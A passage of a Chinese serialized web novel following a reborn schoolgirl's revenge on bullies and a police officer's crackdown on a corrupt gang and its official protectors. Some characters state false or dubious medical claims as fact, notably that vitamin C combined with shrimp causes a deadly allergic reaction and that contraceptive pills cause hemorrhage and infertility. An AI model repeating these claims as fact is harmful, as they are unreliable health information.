两人出院门,张茉莉就问:“刚才你会错我的意思,我想问得是那瓶酒有什么问题?”
林语晨望去,眼神柔和,弯起唇角:“你怎么又回来了,不怕我再利用你?”
“切,我知道我的作用,我叔再正值,事情关系到我也是能不报警就不报警。林语晨,你能不把话说这么明白吗?偶尔留一点点美好的空间给彼此行吗?
还有,我是那种没义气的人吗?我得给你们留时间和地方报复啊。”
张茉莉撇开脸,看起来有些气又有些不自在。
林语晨莞尔,亲亲热热地穿过她的手臂,软语说:“茉莉,谢谢你包容我,你真好。酒里是一些避孕药物。她们及时就医,有医生看着,我也提醒护士说她们这种出血量不正常,想来不会有太大的问题。”
“避孕药?”张茉莉被这几个字拉走全部心神,一把拉住林语晨的手臂,震惊说,“那个叫什么——送你酒的人,疯了吗?什么居心啊!”
“大量的避孕药会导致大出血。若不及时救治,有可能一辈子都怀不上孩子。”林语晨长松口气,对着冒星星的夜空露个大大的笑脸。
真好,报仇的时候不用手软了。
听着张茉莉各种花式骂林菲儿,她再次挽住小姐妹的手臂,“谢谢侠女仗义骂人。行啦,歇口气,不是没出事嘛。走吧,我们回学校睡觉。”
——
这晚注定不平静。
祠堂的枪声平息时,行动队没有抓住林裕宝,让他从搭房的窗户跳逃上后山。
赵有归不顾宋景阻拦,一把掐在孙不二的肩头:“林裕宝呢?”
“呵……”孙不二冷笑,“林裕宝?他不是在江源县开歌舞厅吗?呸,臭条子!”
赵有归避开吐沫,肃张脸直接给他一拳,看着弯身的孙不二,朝宋景问:“东西找到吗?”
宋景点头:“孙不二身上搜出来,估计有一斤左右!”
孙不二的眼神轻跳,刚才情况危急,林裕宝只肯拿走一包。他本想把余下一包甩给罗恒,结果又被塞回来。
“呵呵,我带回来就这些,全部在这了。”
不断挑衅这些人,他们会把目光留在这,给林裕宝逃走的机会。
林裕宝重情义、讲义气,若是成功逃走,一定会来救人!
钱育才听不下去,给孙不二一脚:“老实点。赵队,怎么办,搜山吗?”
“你们先押这些人回去,东城带的人留下,按第二方案,围住各地出口,不能让林裕宝逃走。他可能是杀害陆天的凶手!”
赵有归安排完,跟东城队长一起亲自带人上山,追捕在逃的林裕宝。
——
县高女生宿舍里,张茉莉睡在赵晓琳的床铺上,头探出围栏:“林语晨,我没想到你会放过她们。”
林语晨在朦胧中睁眼,平静说:“你认为我放过孙佳人姐妹?”
“嗯。我在县医院里听淳于芳的父母提起淳于蓝,明白淳于芳有多恨孙佳人姐妹。
淳于蓝自杀前曾向淳于芳倾诉痛苦,那时候淳于芳安慰她却没反应过来堂姐有自杀的想法。等她找回去时,淳于蓝
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已经倒在血泊。”
张茉莉还是第一次遇上身边人这般惨痛自杀的事,躺回去后幽幽说,“孙佳好这种胆小鬼都敢时不时欺负你,孙佳人更霸道,以前只会欺负得更凶吧?但是,今天你放过她们。”
“不,我没有呢。”林语晨勾起唇角,“我有个同村哥哥是警察,在查犯罪团伙,孙不二可能是主谋之一。
你说,孙不二被抓,孙佳人姐妹会怎么样?
另外,我听孙佳人间接承认找人揍淳于芳的大伯。我那警察大哥给她大伯做过笔录,回头我去做个证人。这么看来,雇打手揍人,孙佳人逍遥不了几天。”
张茉莉猛地翻身,再次探头看向下铺:“林语晨,你是什么事后诸葛啊?”
“……凑巧。其实,真正恨孙佳人得是淳于芳。不过,她为这两姐妹搭上一生不值得。所以,我才答应帮她约人。她解了气,才能放下对淳于蓝的自责,才能好好活下去。”
淳于蓝自杀而死,淳于芳没能阻止堂姐,必是心怀愧疚。这股愧疚最终转为对孙佳人姐妹的恨意。
林语晨侧身,拿手掌垫在脸下入睡。
这个姿势很有安全感,缓解内心隐藏的情绪,让人容易入睡。
安静许久后,张茉莉再次缓缓说:“林语晨,你的坦诚让人又爱又烦!你说的同村大哥又是警察,是不是姓赵?”
咬下唇,她轻声说,“我认识他,他是我哥的战友。还有,你没来学校前我就知道你。你猜我为什么帮你?因为他亲自拜托我照顾你。林语晨,你在听吗?”
睡着的林语晨在梦里绽开笑靥。
朦胧中好像看到那个从田埂上走来的高大男人。
旁边的水渠里楚邵在不断地扑腾,而她局促地拿着锄头,心里有点慌:该说些什么呢?
男人说:“法律会制裁那些作恶的人。”
——
“放屁。”淳于芳不甘心地叫道,“今天都周一了,我一直在等孙佳好报警,反过来告她带人私闯学校,顺便把她欺负人的事大声宣传,让她没脸在县里做人。”
李伶俐默默地看着与以往大不同的淳于芳,悄声朝赵晓琳说:“这人受刺激了?孙佳好没怎么欺负她吧?而且,她什么时候与语晨姐的关系这么好?”
赵晓琳瞥眼一起出门的两人,不急着去教室,叹了声:“她和语晨姐走了我才敢说,你们知道淳于芳有个堂姐叫淳于蓝吗?她也是我们学校,在校期间,一直受孙佳人的欺负,甚至被逼离开学校。
后来,淳于蓝出事死了,听说是自杀,死得很惨那种。当时这事情闹得很大,淳于蓝的父母也来学校闹过。
张校长就是这件事后被调来我们学校。”
几人围在一起,纷纷说起各自听过的消息。彼时,大家都是懵懂新人,即使知道学校有霸凌事件,但真正关心高三年级得还是少有。
宿舍三楼的阳台上,林语晨看着垂眸的淳于芳:“为两个渣滓搭上你的人生,值得吗?你的蓝姐希望看到你这样下去吗?
我记忆中,她是个温柔坚强的女生。即使被打,也能笑出声。”
若是淳于蓝能再坚持坚持,兴许能从泥地里开出最美的花朵。只可惜,她等不到了。
“林语晨,我知道你什么意思。”淳于芳沉张脸,轻吐口气,“你不想再同我有瓜葛是不是?我利用你钓来孙佳人是我不对。但是,你帮我教训她们,也是为你自己出气啊。”
林语晨摇头:“你没明白我的意思。你好好读书,争取考上大学。那才是淳于蓝想要看到的事。”
淳于芳的倔脾气上来:“你成绩不咋样,上周摸底考全班倒数第一,凭什么对我说教?”
“……”林语晨仰天,“是啊。所以,你还是继续与我装不熟,不要来我的寝室打扰我,再夸张地说些两姐妹的事,让别人以为上周五晚上我做过什么见不得人的事。”
淳于芳看她离去,跺脚:“谁稀罕与你做朋友了!”
——混蛋,你没做过吗?明明你什么都做了。
大周一的第三节课间,林语晨发现班级里回头看自己的学生变多,不少人下课也绕过自己。
她就知道有学生知道上周五晚的事,尤其淳于芳大清早跟吃错药似跑寝室大说特说,简直违背她低调复读的目标。
现在,班级里的同学都怕林语晨。
课间,张茉莉抱着小人书大笑,轻声说:“是啊,大家都说不能惹你。不然,下场就是孙佳好。
你知道吗?现在除我就只有淳于芳敢靠近你。另外,还有赵晓琳那伙人。哈哈哈……你现在也是校霸!”
46. 蔡局长
林语晨不搭理张茉莉这么没营养的话。
其实,她一直在等孙佳人的后手。即使孙佳人不报警,以她的性子也绝对不会善罢甘休。
张茉莉见她没兴趣,说个她感兴趣的话题:“孙佳好退学了,早上九点的事,新鲜吧?”
“嗯?”林语晨有反应,“今天才周一!”
张茉莉贴着她耳朵:“周一不周一没关系。孙不二真出事了,听说被市局抓了,周五晚上出的事。我听叔说,孙佳人周日早上出院,带孙佳好回灵江市。
她们没空搭理我们。所以,你不用担心孙佳人的报复。”
“孙不二被抓,还有谁?”林语晨大吃一惊。即使知道有这一天,但是赵有归的行动力未免太强吧!
“小点声。我有个叔叔叫罗恒,他也被抓了。”
林语晨瞥去:“有钱人家的叔叔是真多啊。”
“他姓罗好嘛。”张茉莉怼回去,“罗恒只是我爸在县里的朋友,呸,已经不是朋友了。我没想到他伙同黑势力干非法勾当,他可是县局局长啊。听说宝誉歌舞厅也有他的一份子,真是让人震惊。那天,我和哥哥闯歌舞厅,他也来了,那做派是一点看不出来有问题啊。”
林语晨还真没从她脸上看出吃惊的表情,只道:“抓了也好,未来都是大老虎,就是现在抓的话,判得太轻。”
“……”张茉莉还等着她问闯歌舞厅的事,好再次宣扬“姐妹情深”,没想到迎来这句。又一次回想与林语晨认识的经过,再三确认“我应该没有得罪过她!”
“这么说孙佳人真没时间报复我了?我还想弄个什么不犯法的办法搞死她,或者联系我那警察大哥做个证人送她进去住几天。”林语晨轻松了,“背书背书。”
张茉莉眼球朝天,吐槽:“你都想搞死她还有什么不犯法的方式吗?”
“有啊,请她坐下来吃顿饭,好好谈谈,化解恩怨。然后,点几个高过敏的食物配菜,混着请她吃。”
“过敏?过敏能死人啊?”
“当然了。维C和虾能发生严重过敏反应。”
前世,楚邵出轨被发现,林语晨真动过无声无息废掉楚邵的心思。只不过,林爸林妈住在一起,林妈管着饮食,不方便下手。
林语晨回过神,发现教室静得出奇,转脸看去。不仅同学们望过来,连进门的课堂老师也一脸好奇地看来……
堂课老师:“林语晨,维C是那个维生素吗?这东西能和虾发生过敏反应?你以前是读到高二吧,科学老师教你吗?”
“……”林语晨埋头进书本,侧脸看去,张茉莉坐得那叫个端正。
张茉莉的眼神不飘,仿佛已经不认识地球人:看不到我看不到我……我不认识她!我没得罪过她!
——
市局里,几台电话的铃声就没停过,都是打听灵江市黑势力团伙案件的进展。
王织信、罗恒、孙不二一伙人被抓,轰动全省。
彼时灵江市副市长作为王织信的直属领导,被纪委和监察部联合扣住。这个职位出事,让灵江市成为全国的焦点。
赵有归也被推上风口浪尖。
但他没有功夫理会那些采访、上级问询、甚至是市局蔡局长的问责。
蔡局长在局里发飙:“周五行动,他竟然越过直属领导,这家伙还有没有组织纪律,眼里还有没有我这个局长?”
承受怒火的祁连摸鼻子:“局长,我也没能参与进去。这都怪……”
“怪什么怪,怪人家先斩后奏?五百人的警力,这么大动作,你竟不知道?”蔡局长真想揍人,“不知道就算了,周六怎么也不通知我?你干什么吃呢!”
天没亮局里迎来这么多犯人,祁连也是赶回来加班,忙得不可开交,一时兴奋忘记通知局长。
但是,锅不能自己背!
“嘿……我听说他们原本要调一千人,若是局长在,肯定能抽调一千人,那叫林裕宝得也跑不了。”迎着蔡局的利眸,他憋着气,“都怪这赵有归,没本事还要挑大梁……”
“切切切……你给我滚出去,喊赵有归进来……”
祁连:“他刚从外面回来不久,在审讯室没出来呢!”
蔡局:……
赵有归要抓的人还没有抓全,哪有功夫应对这些。
周五晚上的客车去祠堂,却只有王织信一个人,而曾经被王织信揽去祠堂得那些相关人士都因为王织信出事而潜伏下沉。
他必须抓紧时间从王织信的嘴里问出确切的名单。
其次,申请下发海捕通缉令,向市民悬赏在逃犯林裕宝的线索。
同时,林裕宝有两个亲人,一个女儿林菲儿,据调查,人已经离开江源县,去向未知。一个小儿子林飞成,在县小读小学,成为重点关注对象。
林裕宝逃脱后一定会去找他儿子!
省政楼里,谭省也是焦头烂额,没查出来前逼人立军令状,查出来后一堆事,还得给赵有归擦屁股,帮着稳住自己的局长。
他打电话给市局找赵有归,结果电话打不进去,派秘书去请两人。
赵有归正在审讯室里炸王织信。
前世,他的团队调查过这伙黑势力,因而有部分名单。
他报一个,王织信的眉就笼一点,一直到报出他的同级秘书。
王织信才笑起来:“你诈我?我知道你,姓赵,在谭省办公室见过你。当时,我真没看出来你的本事,以为是个靠以前那点军里人情走关系谋职位。没想到你真有两把刷子。”
人往桌前一扑,阴恻恻笑,“你以为我会说吗?涉。黄最多开除籍,当不了官,再坐几年牢。若我报出他们的名字,出来后还有活路吗?省省力气吧!”
宋景听不下去,绕过桌子想揍他,被赵有归拦下。
赵有归暗吸口气,沉下心:“但是,这次你们碰了更违禁的东西。这些份量足够你坐一辈子牢,在里面出不来!”
“呵,那是孙不二干的好事,跟我有什么关系?”王织信死猪不怕开水烫,将事情全推给孙不二,“你抓我的时候我正要离开去举报呢。怎么,你还能阻止一个有良心的在职人员发现对方严重犯法而中途退出吗?”
“我……你这人真是厚颜无耻!”宋景听不下去。
王织信哈哈笑起来,晃着手里的镣铐:“好说好说,做事么,总要瞻前顾后。”
赵有归麦色的脸上露出少有的笑容。
得意的王织信微怔,蹙眉看去。
赵有归侧头看向审讯室的玻璃:“你猜孙不二是不是也这样想?推出去至少不用被枪毙。毕竟,哪有人真不怕死。你不说,罗恒难道也会嘴硬?王织信,不是什么人都有你的脑子,知道博弈论。我猜罗恒就不懂,还有在职客车司机!”
无视王织信变色的脸,赵有归朝宋景点头,推门离开。
人刚上走廊就被谭省派的人请走,而且同蔡局一辆车去往省政楼。
蔡局看着低眉顺眼的赵有归,冷声说:“年轻人的心可以大,步子不能迈太大,一不小心扯着裆,什么都掉没了,以后就等着完蛋!”
赵有归知道他这是在说别把人情都用尽,顺便指责周五跳过他行动的事,轻轻地点头:“蔡局提点得对,稳扎稳打才是首选。”
“……”有种一棍子打在棉花上的感觉,一点不像这个年轻人的行事作风。
他才多大?二十七,这么老练老成吗?
难道不应该赶紧道歉吗?不通知局长就行动,几个意思?怀疑我和犯罪团伙一起呢?小王八羔子!
谭省办公室,谭省帮着两人做和事佬,试图说服愠怒的蔡局,又训斥赵有归不懂尊重前辈,而且对直属领导不报备就行动。
“赵有归,这次真得说说你。若你报备老蔡,一千人警力还是问题吗?”
赵有归点头:“对不起谭省,蔡局,是我考虑不周。”
蔡局瞧两人的把戏,这时候都不上重点,直接开火:“谭省,这事真过了。周五我明明在局,结果一通电话把我喊去隔壁市,去了后发现什么破事都没有!
怎么,怕我抢这小子的功劳?大家都是当兵出身,战场上是生死兄弟,在乎这点功绩吗?
周六周日,我赶回来,也没人来个电话通知我。一直到周日晚上,我才知道这件案子。现在,别说局里,整个灵江市都当我是笑话。
我把话撂这,这案子办完,有他没我,有我没他!”
谭省转头朝赵有归问:“周五晚上就算了,他出差。周六怎么还不通知蔡局,你想干什么呀?”
赵有归肃容:“周五夜里至周日两天多,我在布局追捕林裕宝。周日晚上回局里,小睡一小时,醒来后知道这事第一时间通知蔡局。
我问过祁连,他说大家太兴奋,一时忘记了!”
蔡局瞪眼:这锅甩得真干脆啊!祁连在局里怎么说来着,岔开话题怪赵有归没本事挑大梁!
啥时候咱局里也流行这套推诿了?
蔡局的神智一清,嚅唇不语。
谭省眨下眼:在其位谋其
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政,上行下效就是这意思。
“老蔡啊,这事怪不了有归。有归,跟老蔡道歉,下不为例!”
在谭省的眼神下,赵有归一脸诚恳向蔡局鞠躬:“对不起,局长。这事是我的错,回头我写检讨交给你。”
谭省拍下蔡局的手臂。
蔡局长轻声应了,看向谭省,明白这是谭省在点人。
谭省放笑脸:“好好好,这就对嘛。有归,你先回去做事。我和老蔡说几句话。对了,案子一定要抓紧办,组织里的蛀虫害马要抓全了,不可马虎。这件事上面给指示了。”
赵有归向两人敬礼,快步离开省政楼。
谭省朝留下的人说:“蔡局,人走了,坐吧。”
蔡局没敢坐,开始自省:“谭省,我知道局里一定是有问题才让赵有归这么做。若我动了,局里其他人肯定听闻风声。这次罗恒都在里面,保不齐我局里也有害群之马。”
谭省笑了声:“你能明白这个道理就好。他真不是跳过你,当时还来请示过我,我安排了人叫你去隔壁跑一趟。这五百人也是问隔壁借来,你啊,就是去抵押呢。”
他见蔡局跨近,赶紧笑说,“你是一局之长,坐镇后方,出大力了。来,坐下,喝杯茶。”
蔡局真是被说得明明白白,暗道:不愧是当一省之长的人啊!
他接过热腾腾的茶杯放下,憋好半响才说:“赵有归这人不简单啊。你要为他保驾护航,小心他的枪口别转头对上你。”
谭省一愣,这武夫!
“你怎么又扯他身上去了。赵有归是个人才,本来这次边境发生摩擦,他上战场若是立功,保不齐就是营长。退伍从政,级别跟你一样。”
谭省示意桌上他放下的搪瓷杯茶,“这案子办好,你脸上也有光。他不是你的敌人,而是你的兵!”
蔡局暗嗤了声,喝一口茶,烫了一嘴:“呼……”
“你啊,就是太心急。茶才刚泡好,边吹边喝。”谭省慢悠悠地吹一口,饮一撮。
蔡局捏着茶杯放也不是,喝也不痛快:这又点自己呢?我老蔡是个大老粗,但不是傻子。
“这种刺头兵,用得好还行,用不好扎手。你且看吧。江源县那边的调动会很大,届时我看你把他往哪里塞!”
“你想得真够远啊。”谭省笑起来:面子里子都给了,老蔡要还是拎不清,不用客气。
“说点实际。罗恒都出事了,你局里的人真没问题?”
蔡局猛站起身,一张脸清白交替:“你和他果然一个鼻孔出气,我告诉你,我清白着呢,不怕你们查!”
“消消气,怎么又动怒?我没说你,别上纲上线,使劲往自己身上揽!这次有归不仅揪出江源县的罗恒、小警员赵田,拔出萝卜带出泥,你去查查局里的属下吧。”谭省把茶盖一磕,摆明送客。
蔡局一脸憋屈,话题转一百圈,问题又抛回来。
他起身说:“知道了,我会好好查。但是,你们要查我,我干净着呢,还是那句话,不怕你们查!”
谭省见人走了,轻松口气,端起茶好好地品口:“呼,这下子,咱们省的空气干净不少啊。灵江市也清爽多了。”
——
同一时间,八一造纸厂的负责人办公室里,张德梁也说同一句话:“陆天这孙子没了,罗恒被抓,江源县总算干净多了。不用老被抽查、被卡着货品。
老钱啊。”
钱忠源笑嘻嘻地起身:“哎,这次天鸿立大功,等他回造纸厂接班,没人会不服他。”
张德梁拿手点他:“天鸿的心不在造纸厂,他有自己的想法。
对了,新建村那边已经选好建污水池的几块地,镇委帮忙去谈,应该没问题。
你帮着督促建造团队,监督工程。其次,我考虑运送原料过去,厂房那边可以启动起来。
这次,我们派些熟练工去帮扶。等他们能自主生产、自行运转,再把人撤回来。若事情成了,我考虑帮骆家村那边也建一个厂,建咱们八一村的分厂。
到时候,我派你去管,你觉得怎么样?”
钱忠源的脸皮紧了下,随后绽出朵花儿。“我都听你的安排,你安排得那一定是最好的。”
“呵呵……”张德梁点头,“先这么说定。咱们这的人出去后得招工。如今,人口流动,可以招一些出来谋生的外乡人,给他们些机会。
我们是社会主义社会,共同富裕是大家最终的目标!”
钱忠源连连点头,论德行,张德梁当之无愧。
47. 林飞成
周四傍晚,距离抓捕行动已经过去六天。
这次行动经会议商讨后,被命名为5.18大案。
市局的小会议室里,赵有归主持召开会议,一起复核各方进度以及接下来的行动方案,同时,也给蔡局面子。
他不是新人,知道什么时候该放,什么时候该收。
祁连、宋景、钱育才等主办人员和几名执行警察参与这次会议。
钱育才把几张黑白照片贴在黑板上,指着其中一张照片上的男人。
“经我们深入摸底探查狮虎村,找到几名嫌疑人,这些人曾经都跟林裕宝接触亲密。尤其这位,名叫方罗金,两年前结识林裕宝后家庭条件直线上升。我怀疑,上周五围剿祠堂,他在那晚入过后山,帮助林裕宝逃入山林。”
蔡局蹙眉:“证据呢?”
钱育才老练地绽笑:“局长,说来有点巧……”
祁连:“长话短说,不看天色啊。”得了蔡局利眼,赶紧低头撇脸。
钱育才:“那天我刚好寻到他家。他家里十二三岁的儿子在骂人:院子里鸡毛这么多,结果一只鸡腿都没吃到,尽喝汤了。”
众人面面相觑:这算什么证据?
队员孙科赶紧补充:“这年头村里人还重男轻女,一般杀鸡都是紧着儿子或孙子。方罗金家也是重男轻女,平时特别宝贝这小儿子。他家的行为明显不正常。后来,我们询问几个村民,有人看到方罗金深夜进山。”
祁连直接戳笔管:“你直说后面这点不就行了?”
钱育才再笑:“这不是太有戏剧性,加深证据印象。”
蔡局又问赵有归:“江源县那边什么动静?”
赵有归点头:“赵田受枪伤,近日在医院里醒来,供出江源县里另一名警员,人已经被控制调查。罗恒出事,江源县的警员处于半失控状态。”
至于人事就看市局、省厅这边动静。
“我已经提醒那边注意林裕宝儿子林飞成的动静,以及林家村——他的兄弟林裕钱的情况,一旦林裕宝出现就尽快抓捕。”
事实是没有局长的江源县局一地鸡毛。
这会也没人敢去接这烫手山芋。
祁连呃了声:“林裕宝狡猾得很,又熟悉地形,恐怕不容易逮住吧。”
赵有归不答这点,若林裕宝好抓,不至于六天来只这点进度。
“宋景,你来说。”
宋景点头:“王织信的司机招供十三人,我们已经依令将这些人逮捕,也通知监察委协同办案。此外,罗恒也供出我们局里的李兰田,是他的表亲戚。李兰田又供出陈见,两人已经被拘禁,等待审查。”
会议室里一片寂静。
宋景轻咳了声,继续说:“已经决定今晚审讯两人。此外,监察委那边在问,若是省厅、副市长没有问题,是不是该放了?”
蔡局看向赵有归:“赵有归,你是主办人,这事你怎么说?”
赵有归暗叹,正色说:“孙不二招了与他关联的生意人、部分打手名单、边省交易人以及贩卖人口渠道。罗恒招供县局、市局各两名在职人员,而几人中只有王织信守口如瓶,什么都没说。”
蔡局轻哼:“你认为王织信在包庇谁?”
会议室里又是一片安静。
最喜欢说话的祁连都一声不吭:那是谁啊?李厅长啊,兼任灵江市副市长……正厅级,进一步就是谭省的位置。
谁敢得罪他!以为都是蔡局这么大气的憨老粗吗?
赵有归知道李虹基。
前世他就是灵省最大的保护伞。只不过,这人一直处于幕后,由王织信出面与黑势力接触,在明面上根本抓不住李虹基一点把柄。
但是,这次绝对不能放虎归山、功亏一篑。
宋景得到赵有归的眼神,紧接说:“据我们调查,孙不二这两年交给王织信的赌资、歌舞厅收入、以及涉.黄金额超过三百万。我们查获他们在灵江市内的据点,有将近两百万的非法营业额。
但是,我们只在王织信家里找到五十万,而其它的赃款去向不明。”
众人露出惊愕的表情,一月工资几十块的年代,五十万是什么概念?
尽管大家已经心知肚明赃款去哪,但是,没有找到赃款就是没有证据。
监察委那边不可能一直扣着人不放。
赵有归环顾目光如炬的众人,条理清晰说:“蔡局,我认为这件事就差临门一脚。我向局里、法院申请收查令,对李虹基进行全面调查。”
顿了下,又说,“孙不二回灵江市,除带回两斤货,分批遣送三位女士。其中,两人在祠堂出现,有一人在灵江市内被找到。”
祁连:“你认为这个女人被孙不二敬上。但是,这个女人什么都不知道。”
蔡局把文件砸在祁连面前:“你给我安静点。对方是时间上来不及。”
赵有归抿唇,认可这个说法。
“如果有这一位女士。那么,他身边肯定还有另外的女士。我建议调取本市高档奢侈品公司的客户资料,摸底排查,找出这人。”
不太懂行的男同事一脸雾水,包括蔡局。
钱育才赶紧解释:“他再怎么样都是男人,有了钱,一定会给女人买点什么。赵队就是希望抓住这点线索,查出这个女人。”
在场众人一脸恍然大悟。祁连瞪去:“真有你,这种办法都想得出来。不过,这些商店可不是软柿子,不一定会提供资料。”
蔡局摸了摸额头:对省厅的搜查令、批文调取商店客户资料……全都是难题啊。他想起谭省得那番话,点头说:“注意这个方罗金的动向,务必在下周一前抓住林裕宝,不能再拖了。
对抓捕的在职人员尽快审讯,整理成档,上面再催了。
赵有归,你准备申请资料,我向上级申请搜查令和批文。
他大爷,幸好还有我这副厅能干事。这帮混球,散会。”
众人一窝蜂窜走去忙。今晚又不用回家。
祁连一把拽住赵有归的手臂,落在人后:“你这么查他太慢了。”
赵有归扬眉:“你有高招?有的话,刚才怎么不说?”
“这方法不好在公开场面说。”祁连扫看他全身,“没谈过恋爱吧?”
赵有归快步就走。
祁连追进他的办公室,关上门,含笑说:“生气了?”
“在谈!”赵有归抬眉,看到他错愕的脸,舒畅了。
祁连做个吃惊的表情,惊讶说:“真假啊?看不出来啊。不会是上次宋景回来说得那个……同村老妹?”
“你要说就说,不说出去,我很忙。你好歹是大队长,干什么呢?”赵有归不耐烦了。
“行吧。一看你就是不懂女人的心思。若李厅真在外面养人,你猜他夫人能一点都不知道?”
赵有归放下手头的事,认真脸:“你是说问李虹基的夫人?”
“直接问肯定不行。”祁连的神采开始飞扬起来,“得打迂回战。等搜查令下来,这夫人也就知道怎么回事,不如晓之以理动之以情,让她说出那外室的住址……”
“你很懂这事啊?”赵有归狐疑地看去,直把祁连看正色脸,“若是夫人与李厅沆瀣一气呢?”
“所以嘛,这得讲究策略……”
“好,等搜查令下来,我会向蔡局申请这事交给你来做。”赵有归起身,拿资料出门。
呆若木鸡的祁连指着门口:“喂,不带这样做事啊。我只是提供方法……蔡局……”
蔡局路过赵有归办公室门口,一脸不争气地看向祁连:他个犊子,老子怎么就喜欢这种货色,不如赵有归一半能干!
祁连看着眼神不明的蔡局离开,顿时挺起腰板:“蔡局,我保证完成任务!”
——
又逢周五放学,林语晨在学校里夜以继日地学习,抓高三没读完的课程,还被热心的张校长逮进办公室复习,算是县高独一份小灶。
林语晨问张校长原因。
张校长解释:“我看得出来你想考好,也查过你的档案。但因为你落下的进度多,想赶上普通学生的水准确实困难。既然这样,我理应尽一个老师的责任,算是为这所学校弥补以前损失的形象。”
林语晨接受这个解释,在张校长和任课老师的帮助下,几次模拟考下来,成绩从不及格迈入及格线。
放学后,张茉莉想跟着林语晨去家里玩,被张校长给强制带回去。
赵三叔没来接赵晓琳,说是帮亲戚拉货走不开。
赵晓琳和林语晨走路回家,沿途互相考背复习资料。
两人路过林家村时,被一阵杀猪般尖锐的少年痛叫声惊住。
“啊……哇……叔叔,别打我……啊……哇……爸……呜呜……”十二三岁的小男孩跌跌撞撞地扑在地上,嘴里不断喊着叔叔、爸,一旦被男人踢中就发出惨叫,听着心惊,看起来更惨。
大男人面色狰狞,发现男孩要逃就趁机给他一脚,把人踢滚在地,骂骂咧咧:“没用的东西,有本事让你爸带你回去啊。什么东西都抢,连你妹妹的东西都拿,你个小混蛋!我踢死你,踢死你……”
一边骂一边又送两脚,直把男孩踢得抱头缩成一团。
赵晓琳看不下去,跑过去挡在小孩面前:“住手。他一个孩子,还喊你叔叔。你干什么下这么重手。”
林语晨在边上看着,没出声。她认识这个男人,林裕宝的兄弟林裕钱。
林兰香经常说:嫁人要擦亮眼睛,若是不小心嫁给林裕钱这种伪君子,一辈子就毁了。
林裕钱不吸烟、不赌.博,逢见熟人还蛮亲切。但是,他有个可怕的毛病,发起疯、耍起横来打老婆、孩子,是几个村里出了名的混不吝。
他老婆给他生两个女儿,听说,他把大女儿浸水塘里差点淹死。但是,他又很疼小女儿!
若是地上的男孩喊林裕钱叔叔,多半是林菲儿的弟弟林飞成。
——说起来,也不是个好家伙!
前世,楚邵和林菲儿在一起后,帮着养弟弟。后来,林飞成为他姐出头,在宴会上嘲讽林语晨不能生,却霸占楚太太的位置,致使林语晨当众难看,被人嘲笑。
此刻,林语晨做不到以德报怨,但是可以袖手旁观。
只是赵晓琳插进去,得保着她。
“你什么东西,管我家的事。信不信我连你一起揍?”
林裕钱真打人,但是他只敢打自己家里人,对外人留三分余地。这是让人不理解的地方。而这种人俗称“窝里横”。
林语晨走过去,拉住挺起胸脯理论的赵晓琳:“林二叔,记得我吗?我爸是林大宝。”
林裕钱微愣,上下扫看林语晨:“你是大宝家的丫头啊,确实长得好看。前段时间,我跟你爸喝过酒呢。”
这人果真露出笑容,不狰狞时清秀的五官端得是人模狗样。难道这就叫人面兽心?
“对,我爸也说起你呢。这是我同村小姐妹,赵松林的侄女。”林语晨说起赵松林,明显看到林裕钱的身体后缩、神色也更认真几分。
赵松林的名头比赵晓琳爸爸赵松华还好用。赵二叔是几村中有贤德名声的人,让人敬上几分。
“呵,原来是熟人。你们走吧。别管我家的事啊。”林裕钱绕过赵晓琳去抓林飞成。
结果赵晓琳还是插进去挡着他。
林飞成一转眼睛,哭喊着抱住赵晓琳的腿:“姐姐,救命。叔会打死我,你救救我。我爸……我爸知道后一定会报答你。”
林裕钱恼火,冷声说:“你爸救你个屁。他被通缉在逃。若是他敢出现,警察立马能逮走他。以前我让他别干这行,让他存点钱在家留后手。他说我贪图他的钱,一个子没带回家。现在,我还得帮他养儿子,真是什么便宜都让他占着了。他还有脸做大哥,狗屁的大哥。你小子敢抢你妹的东西,我踢不死你。”
赵晓琳被这番话惊呆,见林裕钱踢来都愣住了。
林语晨猛拽她,避免她被林裕钱的脚擦到,而林飞成却被带着扑倒,正好送入林裕钱的脚下。
“嗷……呜呜……爸……”林飞成捂着肚子大哭,“哇……我爸不是坏蛋,他是天下最好的爸爸……哇……”
赵晓琳被林裕钱的动作吓一跳,也没想到林飞成是大坏蛋的孩子,一时间心惊、正义感、道德感互相较劲。
“语晨姐,我……”
林语晨看出她的窘迫,先一步说:“走吧。你管得了他今天,管得了他明天吗?”
何况,这是只小白眼狼。
赵晓琳确实需要一个台阶下,可是依旧觉得不能就这样一走了之,倔着说:“孩子妈妈呢?”
林裕钱好像听到笑话般,面色嘲讽又带冷笑,就连林飞成都不吭声、不叫唤了。
“王秋香机灵着呢,见老大外面有女人又不做好事,早丢下孩子跑没影了。飞成,别说叔不养你,连你亲妈都不要你。”
“啊……”林飞成大叫一声,涕泪肆流的小脸皱成一团,怨毒、愤恨的眼神死盯着几人。
王秋香是他不可碰触的逆鳞。
林裕钱也被他吓一跳,继而火大:“小兔崽子,乱叫什么。”说着又要踢他。
林语晨已经强行拉赵晓琳离开。
赵晓琳忍不住回头:“你是他叔,再怎么样都是血肉至亲,还是带他回去吧。他爸说不定会回来看他。”
林语晨看向小孩死死盯来的眼神,心惊地拽把赵晓琳,蹙眉说:“别多管闲事。”
林裕钱还真听进这话,拎起犟牛般的林飞成拖回去。林飞成使劲地反抗,人小力气不足,一时脱不了身。
转眼间,林飞成恨恨地看向远走的两个女生,眼里意味不明。
回去后,他被关在院子里又是一顿好打,哭爹喊娘喊婶婶、妹妹救命……
林裕钱的妻子反而松口气:有人替她和大女儿挨打,苦日子算是让人喘口气。
回赵家村的路上,赵晓琳很闷:“语晨姐,这样不对。”
“嗯。是啊。但是你能管多久,又要怎么管,带他回家吗?你爸妈、你哥能同意吗?”林语晨非常现实地分析,“晓琳,别看林飞成还小,但是他绝对不是好小孩。你没看到他看我们的眼神吗?”
他以为遇上救世主,却发现是两个无能为力帮不上忙的家伙。
心胸狭窄的人不会看到你站出来得那刻,只会记恨你的离开,更不会感恩。
赵晓琳不理解林语晨为什么这样苛刻地形容一个小孩,觉得她不近人情。
后面的路,两人不再说话,默默无言地往家赶。
若是赵有归在这,也会阻止赵晓琳去接触那个孩子。
前世,林语晨的造纸厂上路三年后,林菲儿和陆天的事才彻底曝光。
这里面就有淳于芳的功劳。为此,淳于芳落个终生残疾,一直往上告发,最终以生命为代价引起上面的注意,招来调查组。等调查组在灵江市出现,淳于芳早已是一捧黄土。
今世,淳于芳碰到本不会出现在学校的林语晨,引发蝴蝶效应。她搞事情的进度不一样,又有林语晨和赵有归的干预,结局也已经不一样。
前世,林菲儿的事情曝光后,林裕宝依旧要杀陆天,还先通知孙不二。
孙不二就说:“人可以杀,但是,你要考虑到杀了人后呢?我看啊,这事就这么算了。”
